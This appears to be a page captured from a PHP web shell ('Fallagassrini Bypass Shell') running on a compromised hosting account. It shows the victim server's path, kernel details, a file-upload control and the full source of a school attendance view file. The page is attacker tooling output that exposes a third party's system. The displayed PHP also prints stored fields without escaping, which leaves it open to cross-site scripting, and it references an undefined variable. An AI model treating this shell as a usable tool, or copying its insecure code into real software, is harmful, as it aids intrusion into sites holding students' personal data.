? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/public_html/savoyglobal.net/koaladraft/application/views/student/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/public_html/savoyglobal.net/koaladraft/application/views/student/single_attendance.php

<?php
if (!defined('BASEPATH'))
    exit('No direct script access allowed');
$this->load->view('documentreadyfunctions');
?>

<div class="icons_main">
    <div  class="icons">
        <img src="<?= base_url() ?>assets/images/back.png" title="Back" class="clickimage" onclick="viewdata('student','viewinstudentsearch','search_attendance','view_attendance','<?= $_SESSION['pagenum']; ?>')" alt="Back" align = "center" width="32" height="32"  />
    </div>
    <div class="icons_caption">
        <h4>  Attendance Details</h4>
    </div>
</div>
<?php
$attributes = array('id' => 'validateform', 'class' => 'validate');
echo form_open('student/addinstudent/update_attendance/view_attendance/1', $attributes);
$start_time = explode(":", $viewinfo->start_time);
$end_time = explode(":", $viewinfo->end_time);
?>
<div class="grid_6">
    <div class="box">
        <div class="header main"> </div>
        <div class="content no-padding">

            <div class="section _100">
                <label>Class Name</label>
                <div class="single_page">
                    <?= $this->mastermodel->get_single_field_value('class_name', 'class_name_code', 'class_name_id', $viewinfo->class_id) ?>

                </div>
            </div>

            <div class="section _100">
                <label>Teacher Name</label>
                <div class="single_page"> 
                    <?= $this->mastermodel->get_single_field_value('employee', 'employee_name', 'employee_id', $viewinfo->teacher_id); ?>
                </div>
            </div>

            <div class="section _100">
                <label>Attendance Date</label>
                <div   class="single_page">
                    <?= $this->mastermodel->convertdatenormalformat($viewinfo->attendance_date) ?>
                </div>
            </div>
            <div class="section _100">
                <label>Start Time</label>
                <div   class="single_page">
                    <?= str_pad(number_format($start_time[0], 0), 2, '0', STR_PAD_LEFT) . " : " . str_pad(number_format($start_time[1], 0), 2, '0', STR_PAD_LEFT) ?>
                </div>
            </div>

            <div class="section _100">
                <label>End Time</label>
                <div   class="single_page">
                    <?= str_pad(number_format($end_time[0], 0), 2, '0', STR_PAD_LEFT) . " : " . str_pad(number_format($end_time[1], 0), 2, '0', STR_PAD_LEFT) ?>
                </div>
            </div>

            <div class="section _100">
                <label>Remarks </label>
                <div   class="single_page">
                    <?= $viewinfo->remarks ?>          
                </div>
            </div>          
        </div>        
    </div>
</div>

<div class="grid_12" >
    <div class="box">
        <div class="content no-padding">     
            <div class="header main">  Attendance Details</div>
            <table class="table" id="stud_sub">
                <thead id="stud_sub_head">
                    <tr>
                        <td style="text-align: center;width: 20px;">Sl no</td>
                        <td style="text-align: center;">Student Name</td> 
                        <td style="text-align: center;">Student No</td>  
                        <td style="text-align: center;">Gender</td> 
                        <td style="text-align: center;">Nationality</td> 
                        <td style="text-align: center" >Attendance</td>
                        <td style="text-align: center;">Age</td> 
                        <td style="text-align: center" >Start Time</td>
                        <td style="text-align: center" >End Time</td>
                        <td style="text-align: center">Remarks</td>
                    </tr>
                </thead>
                <tbody>
                    <?php
                    $html = "";
                    $students = $this->mastermodel->get_data('attendance_details', $viewinfo->attendance_id, 'attendance_id');
                    $j = 1;
                    $k = 0;
                    $l = 1;
                    foreach ($students as $list) {
                        $studnt_name = $this->mastermodel->get_data_srow('student', $list['student_id'], 'student_id');
                        $deactivate = $this->studentmodel->check_deactivate($viewinfo->class_id, $list['student_id'], $viewinfo->attendance_date);

                        if ($deactivate > 0) {
                            $sl = count($students) - $k;
                            $age_details = $this->mastermodel->getAgeDetails($value['dob']);

                            $html = '<tr>
                                <input type="hidden" name="student_id_' . $j . '" value="' . $list['student_id'] . '"/> 
                                <td style="text-align: center;height: 30px;">' . $sl . '</td>
                                <td>' . $studnt_name->first_name . " " . $studnt_name->last_name . ' </td>    
                                <td> ' . $studnt_name->reg_no . '</td>    
                                <td>' . $studnt_name->gender . '</td>
                                <td>' . $this->mastermodel->get_single_field_value('nationality','nationality_name','nationality_id',$studnt_name->nationality_id) . '</td>
                                   
                                <td style="text-align: center;">D</td> 
                                <td>' .$age_details['in_words']
                                    . '</td>
                                <td></td>  
                                <td></td> 
                                
                                <td style="text-align: center;">' . $list['remarks'] . '</td>
                            </tr>' . $html;
                            $k++;
                        } else {
                            $sl = $l;
                            $start_time_array = explode(':', $list['start_time']);
                            $end_time_array = explode(':', $list['end_time']);
                            ?>

                            <tr>
                        <input type="hidden" name="student_id_<?= $j ?>" value="<?= $list['student_id'] ?>" /> 
                        <td style="text-align: center;width: 120px;height: 30px;"><?= $l ?></td>
                        <td><?= $studnt_name->first_name . " " . $studnt_name->last_name ?></td>
                        <td><?= $studnt_name->reg_no; ?></td>    
                        <td><?= $studnt_name->gender; ?></td>  
                        <td><?= $this->mastermodel->get_single_field_value('nationality','nationality_name','nationality_id',$studnt_name->nationality_id); ?></td> 

                        <td style="text-align: center;"> 
                            <?php
                            if ($list['attendance'] == 1)
                                echo "P";
                            else if ($list['attendance'] == 2)
                                echo "D";
                            else if ($list['attendance'] == 3)
                                echo "U";
                            else
                                echo "A";
                            ?> </td>
                        <td><?php
                    /* 'yyyy-mm-dd format' */
                    $age_details = $this->mastermodel->getAgeDetails($studnt_name->dob);
                    echo $age_details['in_words'];
                            ?></td>
                        <td><?= $start_time_array[0] . ":" . $start_time_array[1]; ?></td>
                        <td><?= $end_time_array[0] . ":" . $end_time_array[1]; ?></td>
                        <td style="text-align: center;"><?= $list['remarks'] ?></td>

                        </tr>
                        <?php
                        $l++;
                    }
                    $j++;
                }
                echo $html;
                ?>

                </tbody>

            </table>
        </div>
    </div>
</div> 





<?php echo form_close(); ?>

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net